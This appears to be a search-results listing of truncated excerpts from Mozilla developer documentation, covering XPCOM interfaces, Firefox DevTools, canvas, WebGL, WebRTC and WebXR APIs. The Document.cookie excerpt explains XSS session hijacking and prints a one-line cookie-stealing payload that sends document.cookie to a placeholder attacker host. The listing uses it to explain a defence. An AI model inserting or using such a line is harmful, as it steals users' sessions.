Class Declaration A helper class that converts a UTF-16 string to ASCII in a lossy manner Method Overview Constructors operator= get Find RFind RFindChar FindCharInSet RFindCharInSet Compare EqualsIgnoreCase ToFloat ToInteger Mid Left Right SetCharAt StripChars StripWhitespace ReplaceChar ReplaceSubstring Trim CompressWhitespace AssignWithConversion AppendWithConversion AppendInt AppendFloat BeginReading EndReading BeginWriting EndWriting Data Length IsEmpty IsVoid IsTerminated CharAt operator[] First Last CountChar FindChar Equals EqualsASCII EqualsLiteral(const char EqualsLiteral(char LowerCaseEqualsA...
... Replace ReplaceASCII Append AppendASCII AppendLiteral(const char AppendLiteral(char operator+= Insert Cut SetCapacity SetLength Truncate GetData GetMutableData SetIsVoid StripChar Base Classes nsCAutoString Data Members No public members. ...
nsIAccessible
ble.setSelected(), nsIAccessible.takeSelection() and nsIAccessible.extendSelection(). Actions You can prepare actions on some accessibles (for example on button accessible). The following methods are intended for this nsIAccessible.actionCount, nsIAccessible.getActionName(), nsIAccessible.getActionDescription() and nsIAccessible.doAction(). Descriptions nsIAccessible.description and nsIAccessible.help provides additional text information about accessible. Attributes Many accessibles exposes attributes to provide more details that cannot be fit into existing API methods, please refer to attributes documentation for more information. You can use nsIAccessible.attributes to get a map of attributes. Keyboard shortcuts Some actions on accessibles can be performed by keyboard shortcuts. Following me...
...ocalized string of accesskey name, such as Alt+D. The modifier may be affected by user and platform preferences. Usually alt+letter, or just the letter alone for menu items. defaultKeyBinding Provides localized string of global keyboard accelerator for default action, such as Ctrl+O for Open file. role Enumerated accessible role for the associated element. help Help text associated with node. focusedChild Focused accessible child of node. attributes Attributes of accessible. relationsCount Returns the number of accessible relations for this object. numActions The number of accessible actions associated with this accessible. ...
nsIAccessibleRole
. ROLE_MENUPOPUP 11 Represents a menu, which presents a list of options from which the user can make a selection to perform an action. It is used for role="menu". ROLE_MENUITEM 12 Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option. It is used for xul:menuitem, role="menuitem". ROLE_TOOLTIP 13 Represents a ToolTip that provides helpful hints. ROLE_APPLICATION 14 Represents a main window for an application. It is used for role="application". Also refer to ROLE_APP_ROOT. ROLE_DOCUMENT 15 Represents a document window. A document window is always contained within an application window. It is used for role="document". ROLE_PANE 16 Represents a pane within a frame or document window. Users can navigate between panes and with...
...s within a table. Also, see ROLE_TABLE. ROLE_CELL 29 Represents a cell within a table. It is used for html:td, xul:tree cell and xul:listcell. Also, see ROLE_TABLE. ROLE_LINK 30 Represents a link to something else. This object might look like text or a graphic, but it acts like a button. It is used for xul:label@class="text-link", html:a, html:area, xforms:trigger@appearance="minimal". ROLE_HELPBALLOON 31 Displays a Help topic in the form of a ToolTip or Help balloon. ROLE_CHARACTER 32 Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application. ROLE_LIST 33 Represents a list box, allowing the user to select one or more items. It is used for xul:listbox, html:select@size, role="list". See also ROLE_LIST_I...
nsICommandLineHandler
The text should have embedded newlines which wrap at 76 columns, and should include a newline at the end. By convention, the right column which contains flag descriptions begins at the 24th character. Read only. Methods handle() Processe...
...ine-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 Method overview void handle(in nsICommandLine aCommandLine); Attributes Attribute Type Description helpInfo AUTF8String When the application is launched with the -help argument, this attribute is retrieved and displayed to the user (on stdout). The text should have embedded newlines which wrap at 76 columns, and should include a newline at the end. By convention, the right column which contains flag descriptions begins at the 24th character. Read only. Methods handle() Processes a command line. If this handler finds arguments that it understands, it sh...
nsIDOMHTMLSourceElement
he src attribute gives the address of the media resource. The value must be a valid URL. This attribute must be present. Note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead. ...
...Its value must be a valid media query. Example <video controls> <source src="foo.webm" type="video/webm; codecs=&quot;vp9, opus&quot;"> Your browser does not support the <code>video</code> element. ...
nsIDOMNSHTMLDocument
ies supported by Gecko on the document object that are not part of DOM Level 2. ...
...alue ); Parameters commandID The name of the command to execute. See Rich-Text Editing in Mozilla for a list of supported commands. doShowUI This is not implemented in Gecko. value Some commands require an argument. You can pass null for those commands that do not need an argument. Return value true if the command was recognized, false otherwise. execCommandShowHelp() Obsolete since Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11) This method never did anything but throw an exception, and was removed entirely in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11). boolean execCommandShowHelp( in DOMString commandID ); Parameters commandID The name of the command. Return value This method is not supported a...
nsIMessenger
); Parameters contentType The content type of the attachment. url The url of the attachment. displayName The file name for display purposes. messageUri The url of the message containing the attachment. isExternalAttachment Is the attachment inside a message or saved somewhere externally. If set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog. Same as just using the openURL() method. saveAttachment() Save an attachment. void saveAttachment(in ACString contentType, in ACString url, in ACString displayName, in ACString messageUri, in boolean isExternalAttachment); Parameters contentType The content type of the attachment. url Th...
...); Parameters contentType The content type of the attachment. url The url of the attachment. displayName The file name for display purposes. messageUri The url of the message containing the attachment. isExternalAttachment Is the attachment inside a message or saved somewhere externally. If set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog. Same as just using the openURL() method. saveAllAttachments() Launches a filepicker and saves all attachments listed in an array. void saveAllAttachments(in unsigned long count, [array, size_is(count)] in string contentTypeArray, [array, size_is(count)] in string urlArray, [array, size_is(count)] in stri...
Frequently Asked Questions
In most cases, the answer will just refer back into the reference manual, above. No need to explain things twice :-). Buildtime Errors The build just broke. It's not in your code, or it's not on your platform, but there's an nsCOMPtr on the line where the error is and you're suspicious. You're looking in the right place. ...
...In most cases, the answer will just refer back into the reference manual, above. No need to explain things twice :-). Buildtime Errors The build just broke. It's not in your code, or it's not on your platform, but there's an nsCOMPtr on the line where the error is and you're suspicious. You're looking in the right place. ...
Thunderbird Binaries
duction environment. Please read the release notes before downloading. Preview Releases are available from http://www.mozilla.org/thunderbird/channel/ Nightly Builds Nightly builds are cutting-edge builds. They are built every 24 hours by the tinderboxes from the very latest source code. There are various sorts of nightly builds available for download. If you wish to download nightly builds to help us test for the next release, please read the testing page for where we need help. Warning: Whilst developers try to ensure that nightly builds are stable, it is possible that errors can get into nightly builds that can destroy your data or harm it. They should only be used for testing purposes. If you wish to use a nightly build on your main profile, you should make sure you back up your ...
...he code which are too risky to change when approaching a release. Some of their changes may also take months to test and implement correctly. Their changes will be made to the trunk so that they don't delay the release and will be picked up in future branches. Distinguishing between different nightly builds The main way you can determine if you are using a trunk or branch build is to click the "Help" menu and choose "About". You should see a string that looks something like this: comm-central-1.9.2 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.2pre) Gecko/20100308 Lanikai/3.1b1pre comm-central-trunk: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a1pre) Gecko/20090826 Shredder/3.1a1pre The part that you want to note is the Gecko revision number (rv) an...
Access Thunderbird Window Areas
To access particular parts of the Thunderbird window you can use these helper methods. An alternative to these methods is to directly access the element by it's ID as in the Detect When a Folder Opens example. ...
...ternative to these methods is to directly access the element by it's ID as in the Detect When a Folder Opens example. var folderTree = GetFolderTree(); var searchInput = GetSearchInput(); var messagePane = GetMessagePane(); var messagePaneFrame = GetMessagePaneFrame(); var mailToolBox = getMailToolbox(); var currentMsgFolder = GetLoadedMsgFolder(); see the msgMail3PaneWindow.js for other helper methods ...
Zombie compartments
. When are compartments destroyed? Compartments are destroyed when they are garbage collected. This happens some time after the last reference to them disappears. This means there can be a delay between a page being closed and its compartments disappearing. Explicitly minimizing the memory (a couple of times), i.e. running the garbage collector, with the corresponding about:memory button will help. Zombie compartments Sometimes, due to bugs in Firefox, the Add-on SDK and/or add-ons, compartments are created that are never destroyed. These are a particular kind of memory leak, and they cause Firefox's memory usage to increase gradually over time, slowing it down and making it more likely to crash. Reactive checking If you look at about:memory and you see a compartment for www.foo.com, ...
...ow which is which. If you see any `ghost-windows` (at the bottom of about:memory) that is also suspicious, as they are similar to zombie compartments. Some zombie compartments are caused by add-ons. If you have add-ons enabled, please try to reproduce in safe mode, which disables them. If you can identify, by disabling them one at a time, a single add-on that is responsible, that is extremely helpful. If you're confident you've found a zombie compartment, please file a bug that includes all the information you've gathered, add "[MemShrink]" to its whiteboard, and mark it as blocking bug 668871. Attaching the full contents of about:memory?verbose is very helpful (and you can just cut and paste the page contents, there's no need to take a screenshot). See bug 669545 for an example. If th...
URLs - Plugins
gopher (Gopher protocol) Locates specified items on a Gopher server. Obsolete since Gecko 2.0 http (Hypertext Transfer Protocol) Locates resources on the Internet. javascript Executes JavaScript code that follows the URL. Netscape-specific. mailto (Electronic mail address) Locates the Internet mailing address of an individual or service. nethelp Displays a NetHelp topic in a NetHelp window. Browser-specific. news (USENET news) Locates USENET news groups or individual USENET articles. nntp (USENET news using nntp access) Locates USENET news groups or individual USENET articles; alternate to news. prospero (Prospero Directory Service) Locates a resource on a Prospero directory server. telnet ...
... instance, through calls to NPP_NewStream, NPP_WriteReady and NPP_Write, and NPP_DestroyStream. In general, if a URL works in the location box of the Navigator, it works as a target for NPN_GetURL, except for the _self target. Make sure that the target matches the URL type sent to it. For example, a null target does not make sense for some URL types (such as mailto). For some recommendations to help you with target parameter choice, see the reference entry for NPN_GetURL. The NPN_GetURLNotify method acts like NPN_GetURL. Both request the creation of a new stream with the contents of the specified URL, and, in addition, NPN_GetURLNotify notifies the plug-in of the successful or unsuccessful completion of the request. The browser notifies the plug-in by calling the plug-in's NPP_URLNotify fun...
3D view - Firefox Developer Tools
Often, layout problems are caused by improper nesting of content. This can become much more obvious when looking at the 3D view and seeing where your e...
...Often, layout problems are caused by improper nesting of content. This can become much more obvious when looking at the 3D view and seeing where your elements are nested wrong. ...
Debugger.Memory - Firefox Developer Tools
It can log all object allocations, yielding a stream of JavaScript call stacks at which allocations have occurred. It can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. Ifdbg is a Debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees' memory use. The dbg.memory object is an instance of Debugger.Memory; its inherited accesors and methods are described below. ...
...se Analysis Exposes Implementation Details Memory analysis may yield surprising results, because browser implementation details that are transparent to content JavaScript often have visible effects on memory consumption. Web developers need to know their pages' actual memory consumption on real browsers, so it is correct for the tool to expose these behaviors, as long as it is done in a way that helps developers make decisions about their own code. This section covers some areas where Firefox's actual behavior deviates from what one might expect from the specified behavior of the web platform. Objects SpiderMonkey objects usually use less memory than the naive "table of properties with attributes" model would suggest. For example, it is typical for many objects to have identical sets of pr...
Edit Shape Paths in CSS - Firefox Developer Tools
This guide walks you through all of the available options. Activate / deactivate the Shape Path Editor The Shape Path Editor is accessed via the CSS Rules Panel, which can be opened as described in the guide to Opening the Inspector. Once you have selected your element, you should see the shape icon alongside any valid value, e.g. one for shape-outside. Clicking the icon will cause the Editor to highlight the shape. To deactivate the Shape Path Editor click on the icon again, or select another element or a different editor. ...
...ght the shape. To deactivate the Shape Path Editor click on the icon again, or select another element or a different editor. Note that the Shape Path Editor does not persist between page reloads -- if you reload your page you will need to select the element again. Understanding the lines drawn by the editor Once you have selected a shape on your page, the Shape Path Editor will draw lines to help you understand the path that is being created. A solid line shows the outline of the shape that is wrapping the text. This is your shape. If the shape is clipped by the margin box then the margin box will make up part of this line. A dashed line demonstrates the outline of the shape which extends past the margin box reference; this is the area that will be clipped by the margin box. To unders...
Waterfall - Firefox Developer Tools
cular, if you animate an element using the transform property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the new position of the element is handled in composition. The Animating CSS properties article shows how animating different CSS properties can give different performance outcomes, and how the Waterfall can help signal that. Blocking JavaScript By default, a site's JavaScript is executed in the same thread that the browser uses for layout updates, repaints, DOM events, and so on. This means that long-running JavaScript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze. Using the frame rate tool and the Waterfall together, it's easy to see when lon...
...ge collection Red markers in the Waterfall represent garbage collection (GC) events, in which SpiderMonkey (the JavaScript engine in Firefox) walks the heap looking for memory that's no longer reachable and subsequently releasing it. GC is relevant to performance because while it's running the JavaScript engine must be paused, so your program is suspended and will be completely unresponsive. To help reduce the length of pauses, SpiderMonkey implements incremental GC: this means that it can perform garbage collection in fairly small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish. In trying to avoid GC events, and especially non-incremental GC events, it's wise not to try...
Taking screenshots - Firefox Developer Tools
enshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard": Now, whenever you take a screenshot, the screenshot is also copied to the clipboard. Taking screenshots with the web console If you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in Firefox 62 you can use the :screenshot helper function in the Web Console. Type :screenshot in the Web Console to create a screenshot of the current page. By default, the image file will be named Screen Shot yyy-mm-dd at hh.mm.ss.png. Tip: You could type :s and then hit Tab to autocomplete :screenshot. The command has the following optional parameters: Command Type Description --clipboard boolean When pr...
... ...
Tips - Firefox Developer Tools
ected node. $() is a shortcut to document.querySelector(). $$() returns an array with the results from document.querySelectorAll(). copy copies anything as a string. Right-click a node in the Inspector and click "Use in Console" to create a tempN variable for it. cd switches the JavaScript evaluation context to a different iframe in the page. console.table() displays tabular data as table. help opens the MDN page describing the available commands. :screenshot <filename.png> --fullpage saves a screenshot to your downloads directory using the optional file name. If no filename is included, the file name will be in this format: Screen Shot date at time.png The --fullpage parameter is optional. If you include it, the screenshot will be of the whole page, not just the section visi...
...screenshot to your downloads directory using the optional file name. If no filename is included, the file name will be in this format: Screen Shot date at time.png The --fullpage parameter is optional. If you include it, the screenshot will be of the whole page, not just the section visible in the browser windows. The file name will have -fullpage appended to it as well. See Web Console Helpers for all parameters. In the console output: Click on the inspector icon () next to an element in the output to select it within the Inspector. Check "Enable persistent logs" in the settings to keep logged messages from before even after navigation. Check "Enable timestamps" in the settings to show timestamps besides the logged messages. Debugger Skip JavaScript libraries in debuggin...
ArrayBufferView - Web APIs
Specifications Specification Status Comment Web IDLThe definition of 'ArrayBufferView' in that specification. Candidate Recommendation Initial definition. ...
... Specifications Specification Status Comment Web IDLThe definition of 'ArrayBufferView' in that specification. Candidate Recommendation Initial definition. ...
Background Tasks API - Web APIs
s thread along with all of this. Certainly most if not all code that is capable of making changes to the DOM is running in the main thread, since it's common for user interface changes to only be available to the main thread. ...
...If you stay within the limit given, you can make the user's experience much better. ...
Advanced animations - Web APIs
The ball gets moving by adding a velocity vector to the position. For each frame, we also clear the canvas to remove old circles from prior frames. var canvas = doc...
...The ball gets moving by adding a velocity vector to the position. For each frame, we also clear the canvas to remove old circles from prior frames. ...
Hit regions and accessibility - Web APIs
Fallback content The content inside the <canvas> ... ...
... alert('hit region: ' + event.region); } }); </script> The addHitRegion() method also takes a control option to route events to an element (that is a descendant of the canvas): ctx.addHitRegion({control: element}); This can be useful for routing to <input> elements, for example. See also this codepen demo. Focus rings When working with the keyboard, focus rings are a handy indicator to help navigating on a page. To draw focus rings on a canvas drawing, the drawFocusIfNeeded property can be used. CanvasRenderingContext2D.drawFocusIfNeeded() If a given element is focused, this method draws a focus ring around the current path. Additionally, the scrollPathIntoView() method can be used to make an element visible on the screen if focused, for example. CanvasRenderingContext2D.
Document.cookie - Web APIs
Web › API › Document › cookie
t If neither expires nor max-age specified it will expire at the end of session. When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe. See Date.toUTCString() for help formatting this value. ;secure Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains. ;samesite SameSite prevents the browser from sending this cookie along with cross-site requests. Possible values are lax, strict or none. The lax value value will send the cookie for all same-site requests and...
...tify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application - (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security. Notes Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage. You can delete a cookie by simply updating its expiration time to zero. Keep in mind that the more cookies you have, the more data will be transferred between the se...
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
d how whitespace is processed inside inline formatting contexts. We said that there were rules to ignore most characters but that word-separating characters remain. When you're only dealing with block-level elements such as <p> that only contain inline elements such as <em>, <strong>, <span>, etc., you don't normally care about this because the extra whitespace that does make it to the layout is helpful to separate the words in the sentence. It gets more interesting however when you start using inline-block elements. These elements behave like inline elements on the outside, and blocks on the inside, and are often used to display more complex pieces of UI than just text, side-by-side on the same line, for example navigation menu items. Because they are blocks, many people expect that they w...
...elected instead of the element you want to affect. As another example, if you have a certain subset of elements that you want to do something to based on whether they are empty (have no child nodes) or not, you could check whether each element is empty using something like Node.hasChildNodes(), but again, if any target elements contain text nodes, you could end up with false results. Whitespace helper functions The JavaScript code below defines several functions that make it easier to deal with whitespace in the DOM: /** * Throughout, whitespace is defined as one of the characters * "\t" TAB \u0009 * "\n" LF \u000A * "\r" CR \u000D * " " SPC \u0020 * * This does not use Javascript's "\s" because that includes non-breaking * spaces (and also some other characters). */ /** ...
Frame Timing API - Web APIs
on target for a good responsive user experience. This means the browser should process a frame in about 16.7 ms. An application can register a PerformanceObserver for "frame" performance entry types. The observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available. This data can be used to help identify areas that take too long to provide a good user experience. Example code of the interfaces described in this document is included in Using the Frame Timing API. Performance frames The PerformanceFrameTiming interface extends the following PerformanceEntry properties (for "frame" performance entry types) by qualifying and constrainting the properties as follows: PerformanceEntry.ent...
...properties as follows: PerformanceEntry.entryType Set to "frame". PerformanceEntry.name Set to the document's address. PerformanceEntry.startTime Set to the DOMHighResTimeStamp when the frame was started. PerformanceEntry.duration Set to a timestamp indicating the difference between the startTimes of two successive frames. This data, particularly the duration timestamp, can be used to help identify performance problems. Frame observers The performance observer interfaces allow an application to register an observer for specific performance event types. When one of those event types is recorded in the browser's performance timeline, the application is notified of the event via the observer's callback function that was specified when the observer was created. To observe "frame" p...
In depth: Microtasks and the JavaScript runtime environment - Web APIs
ns of a single-threaded language. Starting with the addition of timeouts and intervals as part of the Web API (setTimeout() and setInterval()), the JavaScript environment provided by Web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. To understand where queueMicrotask() comes into play here, it's helpful to understand how the JavaScript runtime operates when scheduling and running code. JavaScript execution contexts Note: The details here are generally not important to most JavaScript programmers. This information is provided as a basis for why microtasks are useful and how they function; if you don't care, you can skip this and come back later if you find that you need to. When a fragmen...
...n multiple programs and multiple code objects within those programs start to try to work at once, alongside a browser which also needs processor time--let alone time to render and draw the site and its own UI, handle user events, and so forth--everything becomes clogged up far too easily nowadays. Solutions The use of web workers, which allow the main script to run other scripts in new threads, help to alleviate this problem. A well-designed web site or app uses workers to perform any complex or lengthy operations, leaving the main thread to do as little work as possible beyond updating, laying out, and rendering the web page. This is further alleviated by using asynchronous JavaScript techniques such as promises to allow the main code to continue to run while waiting for the results of a r...
Page Visibility API - Web APIs
poll the server for updates when the page isn't visible A page wants to detect when it is being prerendered so it can keep accurate count of page views A site wants to switch off sounds when a device is in standby mode (user pushes power button to turn screen off) Developers have historically used imperfect proxies to detect this. For example, watching for blur and focus events on the window helps you know when your page is not the active page, but it does not tell you that your page is actually hidden to the user. The Page Visibility API addresses this. Note: While onblur and onfocus will tell you if the user switches windows, it doesn't necessarily mean it's hidden. Pages only become hidden when the user switches tabs or minimizes the browser window containing the tab. Policies in p...
...y from the Page Visibility API, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs. These may include: Most browsers stop sending requestAnimationFrame() callbacks to background tabs or hidden <iframe>s in order to improve performance and battery life. Timers such as setTimeout() are throttled in background/inactive tabs to help improve performance. See Reasons for delays longer than specified for more details. Budget-based background timeout throttling is now available in modern browsers (Firefox 58+, Chrome 57+), placing an additional limit on background timer CPU usage. This operates in a similar way across modern browsers, with the details being as follows: In Firefox, windows in background tabs each have thei...
WEBGL_debug_renderer_info - Web APIs
GL API and exposes two constants with information about the graphics driver for debugging purposes. Depending on the privacy settings of the browser, this extension might only be available to privileged contexts. Generally, the graphics driver information should only be used in edge cases to optimize your WebGL content or to debug GPU problems. The WebGLRenderingContext.getParameter() method can help you to detect which features are supported and the failIfMajorPerformanceCaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow. WebGL extensions are available using the WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the WebGL tutorial. Availability: Depending on the privac...
...ension might only be available to privileged contexts or not work at all. In Firefox, if privacy.resistFingerprinting is set to true, this extensions is disabled. This extension is available to both, WebGL1 and WebGL2 contexts. Constants ext.UNMASKED_VENDOR_WEBGL Vendor string of the graphics driver. ext.UNMASKED_RENDERER_WEBGL Renderer string of the graphics driver. ...
Simple color animation - Web APIs
function getRandomColor() { return [Math.random(), Math.random(), Math.random()]; } }, f...
...0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); } // Get a random color value using a helper function. var color = getRandomColor(); // Set the WebGLRenderingContext clear color to the // random color. gl.clearColor(color[0], color[1], color[2], 1.0); // Clear the context with the newly set color. gl.clear(gl.COLOR_BUFFER_BIT); } // Random color helper function. function getRandomColor() { return [Math.random(), Math.random(), Math.random()]; } }, false); The source code of this example is also available on GitHub. << PreviousNext >> ...
Matrix math for the web - Web APIs
ultiply a point by the matrix. ...
...Point(identityMatrix, [4, 3, 2, 1]); Returning the same point is not very useful, but there are other types of matrices that can perform helpful operations on points. The next sections will demonstrate some of these matrices. Multiplying two matrices In addition to multiplying a matrix and a point together, you can also multiply two matrices together. ...
WebGL best practices - Web APIs
nding commands out for execution, flushing them out of the queue, instead of waiting for more commands to enqueue before sending for execution. For example, it is possible for the following to never complete without context loss: sync = glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0); glClientWaitSync(sync, 0, GL_TIMEOUT_IGNORED); WebGL doesn't have a SwapBuffers call by default, so a flush can help fill the gap, as well. Use webgl.flush() when not using requestAnimationFrame When not using RAF, (such as when using RPAF; see below) use webgl.flush() to encourage eager execution of enqueued commands. Because RAF is directly followed by the frame boundary, an explicit webgl.flush() isn't really needed with RAF. Avoid blocking API calls in production (e.g. getError, getParameter) Certain W...
...ures, etc.) to obey a maximum size, computed by this constant multiplied by the number of pixels covered by the current browser window. This requires estimating the number of bytes consumed by each texture, for example. The cap also must typically be updated as the browser window resizes, and older resources above the limit must be purged. Keeping the application's VRAM usage under this cap will help to avoid out-of-memory errors and associated instability. Consider rendering to a smaller backbuffer size A common (and easy) way to trade off quality for speed is rendering into a smaller backbuffer, and upscaling the result. Consider reducing canvas.width and height and keeping canvas.style.width and height at a constant size. Batch draw calls (prefer fewer-but-larger draw calls) Fewer, lar...
Signaling and video calling - Web APIs
red to automatically play incoming video, the stream begins playing in our local preview box. We then iterate over the tracks in the stream, calling addTrack() to add each track to the RTCPeerConnection. Even though the connection is not fully established yet, you can begin sending data when you feel it's appropriate to do so. Media received before the ICE negotiation is completed may be used to help ICE decide upon the best connectivity approach to take, thus aiding in the negotiation process. Note that for native apps, such as a phone application, you should not begin sending until the connection has been accepted at both ends, at a minimum, to avoid inadvertently sending video and/or audio data when the user isn't prepared for it. As soon as media is attached to the RTCPeerConnection, a ...
...emovetrack This counterpart to ontrack is called to handle the removetrack event; it's sent to the RTCPeerConnection when the remote peer removes a track from the media being sent. See Handling the removal of tracks. RTCPeerConnection.oniceconnectionstatechange The iceconnectionstatechange event is sent by the ICE layer to let you know about changes to the state of the ICE connection. This can help you know when the connection has failed, or been lost. We'll look at the code for this example in ICE connection state below. RTCPeerConnection.onicegatheringstatechange The ICE layer sends you the icegatheringstatechange event, when the ICE agent's process of collecting candidates shifts, from one state to another (such as starting to gather candidates or completing negotiation). See ICE gathe...
WebRTC API - Web APIs
ary data between browsers without requiring an intermediary. The set of standards that comprise WebRTC makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software. WebRTC consists of several interrelated APIs and protocols which work together to achieve this. The documentation you'll find here will help you understand the fundamentals of WebRTC, how to set up and use both data and media connections, and more. Interoperability Because implementations of WebRTC are still evolving, and because each browser has different levels of support for codecs and WebRTC features, you should strongly consider making use of the Adapter.js library provided by Google before you begin to write your code. Adapte...
...orial and example which turns a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling. Codecs used by WebRTC A guide to the codecs which WebRTC requires browsers to support as well as the optional ones supported by various popular browsers. Included is a guide to help you choose the best codecs for your needs. Using WebRTC data channels This guide covers how you can use a peer connection and an associated RTCDataChannel to exchange arbitrary data between two peers. Using DTMF with WebRTC WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the RTCDTMFSender interface. This gu...
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
facing direction, and perspective. For more detail on the subject, see the articles Geometry and reference spaces, WebGL model view projection, and Matrix math for the web. Simulating classic cinematography Cinematography is the art of designing, planning, and executing camera movements to create the desired look and emotion for a scene in animation or film. There are a number of terms that are helpful to understand, primarily around camera movement, as these terms are used to describe designed viewpoint changes with the virtual camera. It's also entirely possible to perform more than one of these movements at the same time; for example, you can pan the camera while also zooming in on the scene. Keep in mind that the majority of camera movements are described relative to the camera's refere...
...bGL by adding routines that make it much easier to perform not only core matrix and other operations, but often also to simulate these standard cinematography techniques. You should strongly consider using one instead of directly using WebGL. This guide uses WebGL directly since it's useful to understand to some extent what goes on under the hood, and to aide in the development of libraries or to help you optimize code. Reminder: Even though we use phrases like "move the camera," what we're really doing is moving the entire world around the camera. This affects the way certain values work, which will be noted as they come up below. Zooming Among the best known camera effects is the zoom. Zooming is performed in a physical camera by altering the focal length of the lens; this is the distan...
Fundamentals of WebXR - Web APIs
evant when drawing the scene, it does not actually know how to load and manage models, render and texture them, and so forth. That part is entirely up to you. Fortunately, WebGL and the various WebGL-based frameworks and libraries are available to make it much easier to deal with all of that. How is WebXR different from WebVR? WebVR was generally considered to be an experimental API designed to help specification writers determine the best approaches to creating an API for virtual reality on the Web. As browser developers built support for WebVR and allowed developers to experiment, it became clear that in order to finish an API for virtual environments on the web, it would make more sense to start a new specification than to try to "fix" WebVR. Thus, WebXR was created. The most obvious dif...
... WebXR application life cycle Starting up and shutting down a WebXR session Movement, orientation, and motion: A WebXR example ...
Movement, orientation, and motion: A WebXR example - Web APIs
In this article, we'll make use of information introduced in the previous articles in our WebXR tutorial series to construct an example which animates a rotating cube around which the user can move freely using a VR headset, keyboard, and/or mouse. This will help to solidify your understanding of how the geometry of 3D graphics and VR work, as well as to help ensure you understand the way the functions and data that are used during XR rendering work together. ...
...The left half of the screen is seen only by the left eye, while the right half is only seen by the right eye. Rendering the scene for immersive presentation requires multiple renders of the scene--once from the perspective of each eye. ...
WebXR Device API - Web APIs
s once the context has been prepared, or is rejected if the context cannot be configured for use by WebXR. Guides and tutorials The following guides and tutorials are a great resource to learn how to comprehend WebXR and the underlying 3D and VR/AR graphics concepts. Foundations and basics Fundamentals of WebXR Before diving into the details of how to create content using WebXR, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way. Matrix math for the web A guide covering how matrices can be used on the web, including both for CSS transforms and for WebGL purposes, as well as to handle the positioning and orientation of objects in WebXR contexts. WebXR application life ...
...ices. Supporting advanced controllers and gamepads in WebXR applications WebXR uses the Gamepad object to describe the controls available on complex input devices (such as hand controllers with multiple buttons and/or axes) and gamepad-like devices. In this guide, learn how to make use of these devices' controls. Performance and security WebXR performance guide Recommendations and tips to help you optimize the performance of your WebXR application. Permissions and security for WebXR The WebXR Device API has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it. Including other media Positional audio in a 3D environment In 3D environments, which may either be 3D scenes r...
Using IIR filters - Web APIs
eeds -- this determines the characteristics of the filter. The downside is that this involves some complex maths. If you are looking to learn more there's some information about the maths behind IIR filters here. This enters the realms of signal processing theory -- don't worry if you look at it and feel like it's not for you. If you want to play with the IIR filter node and need some values to help along the way, there's a table of already calculated values here; on pages 4 & 5 of the linked PDF the an values refer to the feedForward values and the bn values refer to the feedback. musicdsp.org is also a great resource if you want to read more about different filters and how they are implemented digitally. With that all in mind, let's take a look at the code to create an IIR filter with the...
... ...
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
the function in the first syntax does not work in Internet Explorer 9 and below. If you want to enable this functionality on that browser, you must use a polyfill (see the Polyfill section). Return value The returned timeoutID is a positive integer value which identifies the timer created by the call to setTimeout(); this value can be passed to clearTimeout() to cancel the timeout. It may be helpful to be aware that setTimeout() and setInterval() share the same pool of IDs, and that clearTimeout() and clearInterval() can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code. It is guaranteed that a timeout ID will never be reused by a subsequent call to setTimeout() or setInterval() on the same object ...
...a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)} }); </script><![endif]--> Workarounds Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example: var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000); The above example can also be written with the help of an arrow function: var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000); Yet another possibility is to use function's bind. Example: setTimeout(function(arg1){}.bind(undefined, 10), 1000); The "this" problem When you pass a method to setTimeout() (or any other function, for that matter), it will be invoked with a this value that may differ from your expectation. ...
Accessibility: What users can do to browse more safely - Accessibility
